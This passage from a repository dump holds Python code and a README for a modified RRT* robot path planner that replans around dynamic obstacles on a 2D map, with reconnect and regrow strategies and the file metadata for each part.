points_x.append(nodes[i][0])\n points_y.append(nodes[i][1])\n plt.plot(points_x, points_y, color='red', linewidth=2)\n plt.plot(points_x[0], points_y[0], color='blue', zorder=0)\n\n plt.scatter(robot_pose.x, robot_pose.y, s=10 ** 2, color='blue', zorder=1)\n plt.scatter(8, 8, s=10 ** 2, color='green', zorder=1)\n if obstacle_pose is not(None):\n plt.scatter(obstacle_pose.x,obstacle_pose.y, s=10**2, color = 'red', zorder=1)\n # plt.show()\n plt.savefig('Plots_map2/Fig' + str(plot_no))\n \n# main function to intial RRT* algorithm\nmap_obstacles = Obstacles()\nobstacles = []\nobstacles.append(Polygon([(-1.1,7.6),(1.1,7.6),(1.1,-7.6),(-1.1,-7.6)]))\nobstacles.append(Polygon([(-7.6,1.1),(7.6,1.1),(7.6,-1.1),(-7.6,-1.1)]))\nobstacles.append(Polygon([(-10,9.4),(-10,10),(10,10),(10,9.4)]))\nobstacles.append(Polygon([(-10,10),(-10,-10),(-9.4,-10),(-9.4,10)]))\nobstacles.append(Polygon([(-10,-10),(10,-10),(10,-9.4),(-10,-9.4)]))\nobstacles.append(Polygon([(9.4,-10),(10,-10),(10,10),(9.4,10)]))\n\nmap_obstacles.addNewObstacle(obstacles)\nobstacles_list = map_obstacles.getObstacles()\ncost_total = []\n\nrrt = RRT(obstacles_list)\n##################################################################################################################\n\ntry:\n with open('rrt_map2.pkl', 'rb') as input:\n rrt = pickle.load(input)\nexcept:\n print('Pickle file of RRT* data nor found---Running RRT*')\n rrt.start = np.array([-9,-9])\n rrt.nodes[0][0:2] = rrt.start\n rrt.nodes[0][2] = 0\n rrt.nodes[0][3] = 0\n for i in range(8000):\n print(i)\n x = rrt.sample()\n nearest_index = rrt.nearest(x)\n if nearest_index is None:\n continue\n x_new, cost_steer = rrt.steer(x, rrt.nodes[nearest_index][0:2])\n check = rrt.is_in_collision(x_new,rrt.nodes[nearest_index][0:2])\n if check is False:\n near_indices = rrt.get_near_list(x_new)\n rrt.connect(x_new, nearest_index, cost_steer,new=True)\n if near_indices.size != 0:\n best_index, cost = rrt.nearest_from_list(x_new,near_indices,reconnect=False)\n if best_index is not(None):\n cost_steer = rrt.get_dist(x_new,rrt.nodes[best_index][0:2])\n rrt.connect(x_new, best_index,cost_steer,new=False)\n rrt.rewire(x_new,near_indices)\n \n # final (after 10,000 iterations)\n found, min_cost_idx = rrt.check_goal()\n if found is True:\n path = rrt.find_path(min_cost_idx)\n rrt.plot(path,path_present=True)\n else:\n print('path not found')\n path.reverse()\n print(path)\n cost_total.append(rrt.get_cost(min_cost_idx))\n \n with open('rrt_map2.pkl', 'wb') as output:\n pickle.dump(rrt, output, pickle.HIGHEST_PROTOCOL)\n\n# Main Loop\ndef runDynamicObstacles(): \n # Stacking two columns to the tree\n rrt.nodes = np.hstack((rrt.nodes,np.arange(rrt.nodes.shape[0]).reshape(rrt.nodes.shape[0],1)))\n \n found, min_cost_idx = rrt.check_goal()\n if found is True:\n path = rrt.find_path(min_cost_idx)\n else:\n print('path not found')\n path.reverse()\n rrt.nodes = rrt.nodes[0:rrt.nodes_num,:]\n \n replan = Replan()\n obstacle_pose = Point(-5,5)\n prev_obstacle_pose = obstacle_pose\n new_obstacle = Polygon(obstacle_pose.buffer(1+0.01))\n \n i=-1\n path_len = len(path)\n plot_no = 0\n step = 0\n blocked_tree_indices = replan.removeOccupiedNodes(rrt, path, i, new_obstacle)\n rrt.nodes[blocked_tree_indices, 4] = 0\n while (i!=path_len-1):\n recheck_goal = False\n i+=1\n print(plot_no)\n node = path[i]\n rrt.p_current = node\n robot_pose = Point(rrt.nodes[int(path[i]), 0], rrt.nodes[int(path[i]), 1])\n \n if step == 3:\n \n rrt.nodes[rrt.nodes[:,4]==0,4]=1\n obstacle_pose = Point(3.5,-5.0)\n prev_obstacle_pose = obstacle_pose\n new_obstacle = Polygon(obstacle_pose.buffer(1 + 0.01))\n map_obstacles.addNewObstacle(new_obstacle)\n rrt.obstacles = map_obstacles.getObstacles()\n replan.prune_till_pcurr(node, rrt)\n path = path[i:]\n i = 0\n path_len = len(path)\n replan.modify_tree_and_path(rrt,path)\n rrt.p_current = path[0]\n recheck_goal = True\n \n if step == 8:\n \n rrt.nodes[rrt.nodes[:,4]==0,4]=1\n obstacle_pose = Point(7.5,-7.5)\n new_obstacle = Polygon(obstacle_pose.buffer(1 + 0.01))\n map_obstacles.updateObstacle(new_obstacle,prev_obstacle_pose)\n prev_obstacle_pose = obstacle_pose\n rrt.obstacles = map_obstacles.getObstacles()\n replan.prune_till_pcurr(node, rrt)\n path = path[i:]\n i = 0\n path_len = len(path)\n replan.modify_tree_and_path(rrt,path)\n rrt.p_current = path[0]\n recheck_goal = True\n blocked_tree_indices = replan.removeOccupiedNodes(rrt, path, i, new_obstacle)\n rrt.nodes[blocked_tree_indices, 4] = 0\n \n if step == 10:\n \n rrt.nodes[rrt.nodes[:,4]==0,4]=1\n obstacle_pose = Point(7.5,2.5)\n new_obstacle = Polygon(obstacle_pose.buffer(1 + 0.01))\n map_obstacles.updateObstacle(new_obstacle,prev_obstacle_pose)\n prev_obstacle_pose = obstacle_pose\n rrt.obstacles = map_obstacles.getObstacles()\n replan.prune_till_pcurr(node, rrt)\n path = path[i:]\n i = 0\n path_len = len(path)\n replan.modify_tree_and_path(rrt,path)\n rrt.p_current = path[0]\n recheck_goal = True\n \n if step == 12:\n rrt.nodes[rrt.nodes[:,4]==0,4]=1\n obstacle_pose = Point(7.5,-7.5)\n new_obstacle = Polygon(obstacle_pose.buffer(1 + 0.01))\n map_obstacles.updateObstacle(new_obstacle,prev_obstacle_pose)\n prev_obstacle_pose = obstacle_pose\n rrt.obstacles = map_obstacles.getObstacles()\n replan.prune_till_pcurr(node, rrt)\n path = path[i:]\n i = 0\n path_len = len(path)\n replan.modify_tree_and_path(rrt,path)\n rrt.p_current = path[0]\n recheck_goal = True\n blocked_tree_indices = replan.removeOccupiedNodes(rrt, path, i, new_obstacle)\n rrt.nodes[blocked_tree_indices, 4] = 0\n \n flag_obstacle = replan.detectObstacle(rrt,path,new_obstacle)\n \n if flag_obstacle is True:\n recheck_goal = False\n print('Obstacle encountered')\n sigma_current, sigma_separate, obstructed_path_ids, blocked_tree_indices = replan.removeOccupiedNodes(rrt, path, i, new_obstacle,True)\n plot(rrt.nodes, robot_pose, obstacle_pose, plot_no, sigma_current, True,True,sigma_separate)\n plot_no += 1\n \n replan.modify_tree_and_path(rrt,sigma_current,sigma_separate, blocked_tree_indices)\n plot(rrt.nodes, robot_pose, obstacle_pose, plot_no, sigma_current, True,True,sigma_separate)\n plot_no += 1\n \n rrt.p_current = sigma_current[0]\n print('Reconnecting.....')\n flag_reconnect, new_path = replan.reconnect(rrt,sigma_current, sigma_separate)\n if flag_reconnect:\n path = new_path\n i= 0\n path_len = len(path)\n plot(rrt.nodes, robot_pose, obstacle_pose, plot_no, path, True)\n plot_no += 1\n else:\n print('Reconnect failed trying regrow')\n temp = -1*np.ones((3000,6))\n rrt.nodes = np.vstack((rrt.nodes,temp))\n rrt.nodes[:,5] = np.arange(rrt.nodes.shape[0])\n \n for i in range(1500):\n replan.regrow(rrt,new_obstacle,sigma_separate[0])\n flag_reconnect, new_path = replan.reconnect(rrt, sigma_current, sigma_separate)\n if flag_reconnect is True:\n path = new_path\n i = 0\n path_len = len(path)\n plot(rrt.nodes, robot_pose, obstacle_pose, plot_no, path, True)\n plot_no+=1\n else:\n print('Regrow failed')\n else:\n plot(rrt.nodes,robot_pose,obstacle_pose,plot_no,path[i:],True)\n plot_no += 1\n \n if recheck_goal is True:\n if (plot_no !=0):\n flag,min_cost_idx = replan.check_goal(rrt)\n path,cost = replan.find_path(rrt,min_cost_idx)\n i = 0\n path_len = len(path)\n step = step+1\n\ndef runReconnect():\n \n # Stacking two columns to the tree\n rrt.nodes = np.hstack((rrt.nodes,np.arange(rrt.nodes.shape[0]).reshape(rrt.nodes.shape[0],1)))\n \n found, min_cost_idx = rrt.check_goal()\n if found is True:\n path = rrt.find_path(min_cost_idx)\n else:\n print('path not found')\n path.reverse()\n rrt.nodes = rrt.nodes[0:rrt.nodes_num,:]\n \n replan = Replan()\n # starting point of the obstacle which is added after the RRT* is done\n obstacle_pose = Point(-5,5)\n prev_obstacle_pose = obstacle_pose\n new_obstacle = Polygon(obstacle_pose.buffer(1+0.01))\n i=-1\n path_len = len(path)\n plot_no = 0\n step = 0\n blocked_tree_indices = replan.removeOccupiedNodes(rrt, path, i, new_obstacle)\n rrt.nodes[blocked_tree_indices, 4] = 0\n while (i!=path_len-1):\n recheck_goal = False\n i+=1\n print(plot_no)\n node = path[i]\n rrt.p_current = node\n robot_pose = Point(rrt.nodes[int(path[i]), 0], rrt.nodes[int(path[i]), 1])\n\n if step == 7:\n rrt.nodes[rrt.nodes[:,4]==0,4]=1\n obstacle_pose = Point(5,-5)\n prev_obstacle_pose = obstacle_pose\n new_obstacle = Polygon(obstacle_pose.buffer(1 + 0.01))\n map_obstacles.addNewObstacle(new_obstacle)\n rrt.obstacles = map_obstacles.getObstacles()\n replan.prune_till_pcurr(node, rrt)\n path = path[i:]\n i = 0\n path_len = len(path)\n replan.modify_tree_and_path(rrt,path)\n rrt.p_current = path[0]\n recheck_goal = True\n \n flag_obstacle = replan.detectObstacle(rrt,path,new_obstacle)\n \n if flag_obstacle is True:\n print('Obstacle encountered')\n sigma_current, sigma_separate, obstructed_path_ids, blocked_tree_indices = replan.removeOccupiedNodes(rrt, path, i, new_obstacle,True)\n plot(rrt.nodes, robot_pose, obstacle_pose, plot_no, sigma_current, True,True,sigma_separate)\n plot_no += 1\n \n # replan.prune_till_pcurr(node,rrt)\n replan.modify_tree_and_path(rrt,sigma_current,sigma_separate, blocked_tree_indices)\n plot(rrt.nodes, robot_pose, obstacle_pose, plot_no, sigma_current, True,True,sigma_separate)\n plot_no += 1\n \n rrt.p_current = sigma_current[0]\n print('Reconnecting.....')\n flag_reconnect, new_path = replan.reconnect(rrt,sigma_current, sigma_separate)\n # print(flag_reconnect)\n if flag_reconnect:\n path = new_path\n i= 0\n path_len = len(path)\n plot(rrt.nodes, robot_pose, obstacle_pose, plot_no, path, True)\n plot_no += 1\n else:\n print('Reconnect failed trying regrow')\n temp = -1*np.ones((3000,6))\n rrt.nodes = np.vstack((rrt.nodes,temp))\n rrt.nodes[:,5] = np.arange(rrt.nodes.shape[0])\n for i in range(1500):\n replan.regrow(rrt,new_obstacle,sigma_separate[0])\n flag_reconnect, new_path = replan.reconnect(rrt, sigma_current, sigma_separate)\n if flag_reconnect is True:\n path = new_path\n i = 0\n path_len = len(path)\n plot(rrt.nodes, robot_pose, obstacle_pose, plot_no, path, True)\n plot_no+=1\n else:\n print('Regrow failed')\n else: \n plot(rrt.nodes,robot_pose,obstacle_pose,plot_no,path[i:],True)\n plot_no+=1\n \n if recheck_goal is True:\n if (plot_no !=0):\n flag,min_cost_idx = replan.check_goal(rrt)\n path,cost = replan.find_path(rrt,min_cost_idx)\n i = 0\n path_len = len(path)\n step = step+1 \n \ndef runRegrow():\n \n # Stacking two columsn to the tree\n rrt.nodes = np.hstack((rrt.nodes,np.arange(rrt.nodes.shape[0]).reshape(rrt.nodes.shape[0],1)))\n \n found, min_cost_idx = rrt.check_goal()\n if found is True:\n path = rrt.find_path(min_cost_idx)\n else:\n print('path not found')\n path.reverse()\n rrt.nodes = rrt.nodes[0:rrt.nodes_num,:]\n \n replan = Replan()\n # starting point of the obstacle which is added after the RRT* is done\n obstacle_pose = Point(-5,5)\n prev_obstacle_pose = obstacle_pose\n new_obstacle = Polygon(obstacle_pose.buffer(1+0.01))\n i=-1\n path_len = len(path)\n plot_no = 0\n step = 0\n blocked_tree_indices = replan.removeOccupiedNodes(rrt, path, i, new_obstacle)\n rrt.nodes[blocked_tree_indices, 4] = 0\n while (i!=path_len-1):\n recheck_goal = False\n i+=1\n print(plot_no)\n node = path[i]\n rrt.p_current = node\n robot_pose = Point(rrt.nodes[int(path[i]), 0], rrt.nodes[int(path[i]), 1])\n if step == 3:\n rrt.nodes[rrt.nodes[:,4]==0,4]=1\n obstacle_pose = Point(-5.0,-8.0)\n prev_obstacle_pose = obstacle_pose\n new_obstacle = Polygon(obstacle_pose.buffer(1 + 0.01))\n map_obstacles.addNewObstacle(new_obstacle)\n rrt.obstacles = map_obstacles.getObstacles()\n replan.prune_till_pcurr(node, rrt)\n path = path[i:]\n i = 0\n path_len = len(path)\n replan.modify_tree_and_path(rrt,path)\n rrt.p_current = path[0]\n recheck_goal = True\n \n flag_obstacle = replan.detectObstacle(rrt,path,new_obstacle)\n \n if flag_obstacle is True:\n print('Obstacle encountered')\n sigma_current, sigma_separate, obstructed_path_ids, blocked_tree_indices = replan.removeOccupiedNodes(rrt, path, i, new_obstacle,True)\n plot(rrt.nodes, robot_pose, obstacle_pose, plot_no, sigma_current, True,True,sigma_separate)\n plot_no += 1\n \n replan.modify_tree_and_path(rrt,sigma_current,sigma_separate, blocked_tree_indices)\n plot(rrt.nodes, robot_pose, obstacle_pose, plot_no, sigma_current, True,True,sigma_separate)\n plot_no += 1\n \n rrt.p_current = sigma_current[0]\n print('Reconnecting.....')\n flag_reconnect, new_path = replan.reconnect(rrt,sigma_current, sigma_separate)\n if flag_reconnect:\n path = new_path\n i= 0\n path_len = len(path)\n plot(rrt.nodes, robot_pose, obstacle_pose, plot_no, path, True)\n plot_no += 1\n else:\n print('Reconnect failed trying regrow')\n temp = -1*np.ones((3000,6))\n rrt.nodes = np.vstack((rrt.nodes,temp))\n rrt.nodes[:,5] = np.arange(rrt.nodes.shape[0])\n for i in range(1500):\n replan.regrow(rrt,new_obstacle,sigma_separate[0])\n flag_reconnect, new_path = replan.reconnect(rrt, sigma_current, sigma_separate)\n if flag_reconnect is True:\n path = new_path\n i = 0\n path_len = len(path)\n plot(rrt.nodes, robot_pose, obstacle_pose, plot_no, path, True)\n plot_no+=1\n else:\n print('Regrow failed')\n else:\n plot(rrt.nodes,robot_pose,obstacle_pose,plot_no,path[i:],True)\n plot_no+=1\n \n if recheck_goal is True:\n if (plot_no !=0):\n flag,min_cost_idx = replan.check_goal(rrt)\n path,cost = replan.find_path(rrt,min_cost_idx)\n i = 0\n path_len = len(path)\n step = step+1\n\n# Below function was written for testing and genrating some comparision results and not part of algorithm (please ignore) \ndef RNN():\n \n # Stacking two columsn to the tree\n rrt.nodes = np.hstack((rrt.nodes,np.arange(rrt.nodes.shape[0]).reshape(rrt.nodes.shape[0],1)))\n \n found, min_cost_idx = rrt.check_goal()\n if found is True:\n path = rrt.find_path(min_cost_idx)\n else:\n print('path not found')\n path.reverse()\n rrt.nodes = rrt.nodes[0:rrt.nodes_num,:]\n \n replan = Replan()\n # starting point of the obstacle which is added after the RRT* is done\n obstacle_pose = Point(-5,5)\n prev_obstacle_pose = obstacle_pose\n new_obstacle = Polygon(obstacle_pose.buffer(1+0.01))\n i=-1\n path_len = len(path)\n plot_no = 0\n step = 0\n while (i!=path_len-1):\n recheck_goal = False\n i+=1\n node = path[i]\n rrt.p_current = node\n robot_pose = Point(rrt.nodes[int(path[i]), 0], rrt.nodes[int(path[i]), 1])\n # if step == 0:\n # obstacle_pose = Point(-5,5)\n # prev_obstacle_pose = obstacle_pose\n # new_obstacle = Polygon(obstacle_pose.buffer(1+0.01))\n # prev_obstacle_pose,path_len,recheck_goal = replan.moveObstacle(rrt,node,obstacle_pose,prev_obstacle_pose,path,i,step)\n # i = 0\n if step == 3:\n # obstacle_pose = Point(7.5,2.5)\n # # prev_obstacle_pose = obstacle_pose\n # new_obstacle = Polygon(obstacle_pose.buffer(1+0.01))\n # prev_obstacle_pose,path_len,recheck_goal = replan.moveObstacle(rrt,node,obstacle_pose,prev_obstacle_pose,path,i,step)\n # i = 0\n # note whenever updating obstacle update rrt.obstacles as wwll\n rrt.nodes[rrt.nodes[:,4]==0,4]=1\n obstacle_pose = Point(7.5,2.5)\n prev_obstacle_pose = obstacle_pose\n new_obstacle = Polygon(obstacle_pose.buffer(1 + 0.01))\n map_obstacles.addNewObstacle(new_obstacle)\n rrt.obstacles = map_obstacles.getObstacles()\n replan.prune_till_pcurr(node, rrt)\n path = path[i:]\n i = 0\n path_len = len(path)\n replan.modify_tree_and_path(rrt,path)\n rrt.p_current = path[0]\n recheck_goal = True\n \n flag_obstacle = replan.detectObstacle(rrt,path,new_obstacle)\n \n if flag_obstacle is True:\n print('obstacle')\n rrt2 = RRT(rrt.obstacles)\n rrt2.p_current = 0\n rrt2.start = rrt.nodes[rrt.p_current,0:2]\n rrt2.nodes[0,0:2] = rrt2.start\n rrt2.nodes[0][2] = 0\n rrt2.nodes[0][3] = 0\n j = 0\n replan.prune_till_pcurr(rrt.p_current, rrt)\n replan.modify_tree_and_path(rrt,path)\n for i in range(6000):\n print(j)\n j = j+1\n x = rrt2.sample()\n nearest_index = rrt2.nearest(x)\n if nearest_index is None:\n continue\n x_new, cost_steer = rrt2.steer(x, rrt2.nodes[nearest_index][0:2])\n check = rrt2.is_in_collision(x_new,rrt2.nodes[nearest_index][0:2])\n if check is False:\n near_indices = rrt2.get_near_list(x_new)\n rrt2.connect(x_new, nearest_index, cost_steer,new=True)\n if near_indices.size != 0:\n best_index, cost = rrt2.nearest_from_list(x_new,near_indices,reconnect=False)\n if best_index is not(None):\n cost_steer = rrt2.get_dist(x_new,rrt2.nodes[best_index][0:2])\n rrt2.connect(x_new, best_index,cost_steer,new=False)\n rrt2.rewire(x_new,near_indices)\n \n found, min_cost_idx = rrt2.check_goal()\n if found is True:\n path = rrt2.find_path(min_cost_idx)\n # plot(rrt2.nodes,robot_pose,None,0,path,True)\n break\n\n step = step+1\n\n# Function calls. Please run only one of thema at a time. When running one, comment out the other two calls\nrunDynamicObstacles()\n# runReconnect()\n# runRegrow()"
},
{
"alpha_fraction": 0.7418126463890076,
"alphanum_fraction": 0.7578065395355225,
"avg_line_length": 43.27586364746094,
"blob_id": "a647fc1123782a3f40a954438001f9eb2dea5c35",
"content_id": "a7aa767e6d080dddd029dfe1ceb98687e194d503",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 1313,
"license_type": "no_license",
"max_line_length": 113,
"num_lines": 29,
"path": "/README.md",
"repo_name": "Nagarakshith1/Modified-RRT-star-for-dynamic-path-planning",
"src_encoding": "UTF-8",
"text": "# Modified-RRT-star-for-dynamic-path-planning\r\nRefer the Final_report for the complete description of the project.\r\n\r\nMap 1\r\n\r\n\r\nMap 2\r\n\r\n\r\n# Usage\r\nThere are two main files for 2 different maps considered\r\n\r\ndynamic_path_planning_map1.py\r\n\r\n1) The same file can be used to test pure reconnect, pure regrow and dynamic scenario.\r\n2) Only one fucntion can be run at once so uncomment the one which is to be tested in the last lines of the file.\r\n3) The correspondong plots will be stored in Plots_map1 folder.\r\n4) Clear these folder before evrytime the main file is tested.\r\n5) The initial tree is built and stored in the pickle file as rrt_map1.pkl. \r\nIf this file is missing then the entire tree will be built from scratch.\r\n\r\ndynamic_path_planning_map2.py\r\n\r\n1) The same file can be used to test pure reconnect, pure regrow and dynamic scenario.\r\n2) Only one fucntion can be run at once so uncomment the one which is to be tested in the last lines of the file.\r\n3) The correspondong plots will be stored in Plots_map2 folder.\r\n4) Clear these folder before evrytime the main file is tested.\r\n5) The initial tree is built and stored in the pickle file as rrt_map2.pkl. \r\nIf this file is missing then the entire tree will be built from scratch.\r\n"
},
{
"alpha_fraction": 0.5502751469612122,
"alphanum_fraction": 0.5502751469612122,
"avg_line_length": 28.82089614868164,
"blob_id": "13ad3d8fcbba9841cd23c4992a3e42a8cd3e6618",
"content_id": "7d9f7a53492910a0632df2a442643a69bf202538",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1999,
"license_type": "no_license",
"max_line_length": 140,
"num_lines": 67,
"path": "/obstacles.py",
"repo_name": "Nagarakshith1/Modified-RRT-star-for-dynamic-path-planning",
"src_encoding": "UTF-8",
"text": "\n\nclass Obstacles():\n '''\n Type: Class\n To store details of the obstacles on the map\n '''\n def __init__(self):\n '''\n Initialize values for class variables\n self.obstacles_list: list of obstacles where each obstacle is reprsented by the type shapely.geometry.Polygon from the shapely class\n '''\n self.obstacles_list = []\n \n def getObstacles(self):\n return self.obstacles_list\n \n def addNewObstacle(self,new_obstacle):\n '''\n Add an obstacle to the map\n If list is passed to the function, then the list is extended, else the Polygon obstacle is appended\n new_obstacle: list of Polygons or Polygon\n '''\n if type(new_obstacle)==list:\n self.obstacles_list.extend(new_obstacle)\n else:\n self.obstacles_list.append(new_obstacle)\n \n def updateObstacle(self,new_obstacle,old_obstacle):\n '''\n \n Update the obstacle present already in the map.\n The old obstacle is removed and a new obstacle is added\n \n Parameters\n ----------\n new_obstacle : Polygon\n representing the new obstacle.\n old_obstacle : Polygon\n represemting the obstacle to be updated.\n \n Returns\n -------\n None.\n\n '''\n for i,obs in enumerate(self.obstacles_list):\n if old_obstacle==obs:\n del self.obstacles_list[i]\n self.obstacles_list.append(new_obstacle)\n else:\n print('false')\n \n def removeObstacle(self,removed_obstacle):\n '''\n \n Parameters\n ----------\n removed_obstacle : Polygon\n Remove an obstacle completely from the list of obstacles\n\n Returns\n -------\n None.\n\n '''\n for i,obs in enumerate(self.obstacles_list):\n if removed_obstacle==obs:\n del self.obstacles_list[i]"
},
{
"alpha_fraction": 0.5187489986419678,
"alphanum_fraction": 0.5340318083763123,
"avg_line_length": 32.76329803466797,
"blob_id": "9ace0d9a8730f75c7b16b4dba19058771a6d5ee5",
"content_id": "0350c913e2cedfeb78ccad53bfa19c676f7d7ebc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 12695,
"license_type": "no_license",
"max_line_length": 138,
"num_lines": 376,
"path": "/RRT.py",
"repo_name": "Nagarakshith1/Modified-RRT-star-for-dynamic-path-planning",
"src_encoding": "UTF-8",
"text": "import numpy as np\nfrom shapely.geometry import Point, MultiPoint\nfrom math import log\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\n\n\nclass RRT():\n def __init__(self,obstacles_list):\n '''\n Initialization of variables of object of class RRT().\n\n Parameters\n ----------\n obstacles_list : list(Polygon)\n List of obstacles in the environment\n\n Returns\n -------\n None.\n\n '''\n self.nodes = -1*np.ones((10050,5)) # x, y, cost of segment b/w node and parent, parent, in_tree(1/0), id_number\n self.nodes_num = 1 # number of vertices\n self.start = np.array([0,0])\n self.goal = np.array([8,8])\n self.gamma = 30\n self.dimension = 2\n self.epsilon = 2\n self.p_current = 0\n self.obstacles = obstacles_list\n \n def sample(self):\n '''\n Function to sample a random point in a given region\n\n Returns\n -------\n x : numpy array (2x1)\n The random point generated which do not collide with any of the obstacles in the map.\n \n '''\n while True:\n x = 10*np.random.uniform(-1,1,size=(2))\n x_point = Point(x)\n # check if the value already prsent inside the tree\n collision = False\n for i,obs in enumerate(self.obstacles):\n check = obs.intersects(x_point)\n if check is True:\n collision = True\n break\n if collision is False:\n return x\n \n def get_cost(self,index):\n '''\n To get cost of reaching the desired node in a tree from the start\n\n Parameters\n ----------\n index : int\n index of the node in the tree\n\n Returns\n -------\n cost : float\n Cost measured in terms of the distance from the node to the start node.\n\n '''\n cost = 0\n if index is not None:\n while True:\n cost = cost + self.nodes[index][2]\n index = int(self.nodes[index][3])\n if(self.nodes[index][3]==self.p_current):\n return cost\n return None\n else:\n return None\n\n def steer(self, x1, nearest):\n '''\n Function to return the optimal control trajectory of traveling from x1 to x2\n and the cost between these two points\n\n Parameters\n ----------\n x1 : numpy\n The previously randomly sampled point\n nearest : numpy\n The nearest node already present in the tree.\n\n Returns\n -------\n x1/x_new : numpy vector\n The new random vector which is feasible by the steering of the robot.\n distance : float\n The distance between the new random point and the selected nearest point.\n\n '''\n x_new = np.zeros((2))\n # distance is the cost of the path connecting the two points\n distance = np.linalg.norm(x1-nearest,axis=0)\n if distance>1:\n x_new[0] = nearest[0] + (x1[0]-nearest[0])/distance\n x_new[1] = nearest[1] + (x1[1]-nearest[1])/distance\n return x_new,1\n else:\n return x1,distance\n \n def get_dist(self,x1,x2):\n distance = np.linalg.norm(x2-x1)\n return distance\n \n def is_in_collision(self,point1,point2):\n '''\n Function to check if a trajectory between two node leads to a collision\n\n Parameters\n ----------\n point1 : numpy\n Point 1.\n point2 : numpy\n Point 2.\n\n Returns\n -------\n collision : Boolean\n Collsion check: True if the trajectory collided with any obstacle, else False.\n\n '''\n t = np.linspace(0,1,20)\n x = point1[0] + (point2[0]-point1[0]) * t\n y = point1[1] + (point2[1]-point1[1]) * t\n x = x.reshape((-1,1))\n y = y.reshape((-1,1))\n points = np.concatenate((x,y),axis=1)\n points = MultiPoint(points)\n collision = False\n for i,obs in enumerate(self.obstacles):\n check = obs.intersects(points)\n if check is True:\n collision = True\n break\n return collision #true if there is an intersection with either obstacle\n \n def nearest(self, x_rand):\n '''\n Function to find the nearest node to a point pass to the function\n\n Parameters\n ----------\n x_rand : numpy\n Position of randomly sampled point.\n\n Returns\n -------\n p : int\n The tree index of the node which is closest to the point in question.\n\n '''\n x_nearest_dist = np.linalg.norm(self.nodes[0:self.nodes_num,0:2]-x_rand,axis=1) #NOTE: I haven't added the memeber to the tree yet\n \n x_nearest_ids = np.argsort(x_nearest_dist)\n p = x_nearest_ids[0]\n if p==self.nodes_num:\n return None\n else:\n return p\n \n def get_near_list(self, x_rand):\n '''\n Function to get list of indices preseny inside a volume (circle) of tuned radius\n\n Parameters\n ----------\n x_rand : numpy\n Randomly sampled point.\n\n Returns\n -------\n near_indices : list\n A list of position of nodes in the tree within a volume defined by radius defined by 'vol' variable.\n\n '''\n x_nearest_dist = np.linalg.norm(self.nodes[0:self.nodes_num,0:2]-x_rand,axis=1)\n x_nearest_ids = np.argsort(x_nearest_dist)\n # nodes_temp = np.concatenate((self.nodes[0:self.nodes_num+1,:],x_nearest_ids),axis=1)\n vol = self.gamma*(log(self.nodes_num)/self.nodes_num)**(1/self.dimension)\n vol = min(vol, self.epsilon)\n near_indices = x_nearest_ids[x_nearest_dist[x_nearest_ids]<=vol]\n return near_indices\n \n def nearest_from_list(self, x_rand, near_indices, reconnect):\n '''\n To find the node from neaar_indices which leads to lowest global cost for the node under consideration\n\n Parameters\n ----------\n x_rand : numpy\n Randomly sampled point.\n near_indices : list(int)\n List of indices with the vicinity of therandomly sampled point.\n reconnect : Boolean\n DESCRIPTION.\n\n Returns\n -------\n final_index : int\n The globally lowest cost parent for the random point.\n cost : float\n The cost vector for all the near_indices.\n\n '''\n cost = np.zeros_like(near_indices)\n for k,index in enumerate(near_indices):\n condition = self.is_in_collision(x_rand,self.nodes[index][0:2])\n \n if condition is False:\n cost[k] = self.get_cost(index)\n cost[k] = cost[k] + np.linalg.norm(x_rand-self.nodes[index][0:2])\n else:\n cost[k] = 1000000\n final_index = near_indices[np.argmin(cost)]\n if reconnect is False:\n cost_current = self.get_cost(self.nodes_num-1)\n if cost_current > np.min(cost):\n return final_index,cost\n else:\n return None,None\n else:\n return final_index,cost\n\n def connect(self, x, dist_index, cost_steer, new = False):\n '''\n add state x to the tree\n cost of state x = cost of the parent + cost of steer(parent, x)\n '''\n if new is True:\n self.nodes[self.nodes_num][0:2] = x\n self.nodes[self.nodes_num][2] = cost_steer # cost of that node\n self.nodes[self.nodes_num][3] = dist_index # parent index\n self.nodes[self.nodes_num][4] = 1 # in tree condition\n \n self.nodes_num +=1 # adding up the total number of nodes\n else:\n self.nodes[self.nodes_num-1][0:2] = x\n self.nodes[self.nodes_num-1][2] = cost_steer # cost of that node\n self.nodes[self.nodes_num-1][3] = dist_index # parent index\n \n def rewire(self, x_rand, near_indices):\n '''\n Function to rewire all nodes in the tree within the O(gamma (log n/n)ˆ{1/d}} ball\n near the state x with x as parent (if cost is lowered for the node), and thus update the costs of all rewired neighbors\n\n Parameters\n ----------\n x_rand : numpy vector\n The randomly sampled point.\n near_indices : list(int)\n The list of nodes in th vicinty of the randomly sampled point\n\n Returns\n -------\n None.\n\n '''\n # to obtain cost of the randomly generated point\n cost_new = self.get_cost(self.nodes_num-1)\n for i in near_indices:\n if self.nodes[i,3] == self.p_current:\n continue\n condition = self.is_in_collision(x_rand,self.nodes[i][0:2])\n if condition is False:\n dist = np.linalg.norm(x_rand-self.nodes[i][0:2])\n cost_near = cost_new + dist\n if cost_near<self.get_cost(i):\n self.nodes[i][3] = self.nodes_num-1\n self.nodes[i][2] = dist\n \n def check_goal(self):\n '''\n To check if goal is present in the tree expanded and return the index\n of the node nearest to the goal. The path between this point and \n the start is lowest global cost possible to reach the goal in the tree\n\n Returns\n -------\n bool\n Whether nodes in the vicinity of the nodes are found such that robot just reaches the goal.\n min_cost_idx : int, None\n The index of the node nearest to the goal such the path between this point and the start is lowest\n global cost possible to reach the goal in the tree.\n\n '''\n\n dist_from_goal = np.linalg.norm(self.nodes[0:self.nodes_num,0:2]-self.goal,axis=1)\n idx = np.argwhere(dist_from_goal<0.6).flatten()\n if len(idx) != 0:\n cost = [self.get_cost(i) for i in idx.flatten()]\n min_cost_idx = idx[np.argmin(np.array(cost))]\n return True, min_cost_idx\n else:\n return False, None\n \n def find_path(self, min_cost_idx):\n '''\n Function to find the path given an node index in the tree\n\n Parameters\n ----------\n min_cost_idx : int\n The node index.\n\n Returns\n -------\n path : list(int)\n A list of tree nodes the robot needs to traverse from the start to\n reach the goal.\n\n '''\n path = []\n path.append(min_cost_idx)\n\n min_cost_idx = int(min_cost_idx)\n while min_cost_idx!=self.p_current:\n p = int(self.nodes[min_cost_idx][3])\n path.append(p)\n min_cost_idx = p\n return path\n \n def plot(self, path=0, path_present=False):\n '''\n Function to plot the map with the robot\n\n Parameters\n ----------\n path : list(int), optional\n The list of path nodes (wrt 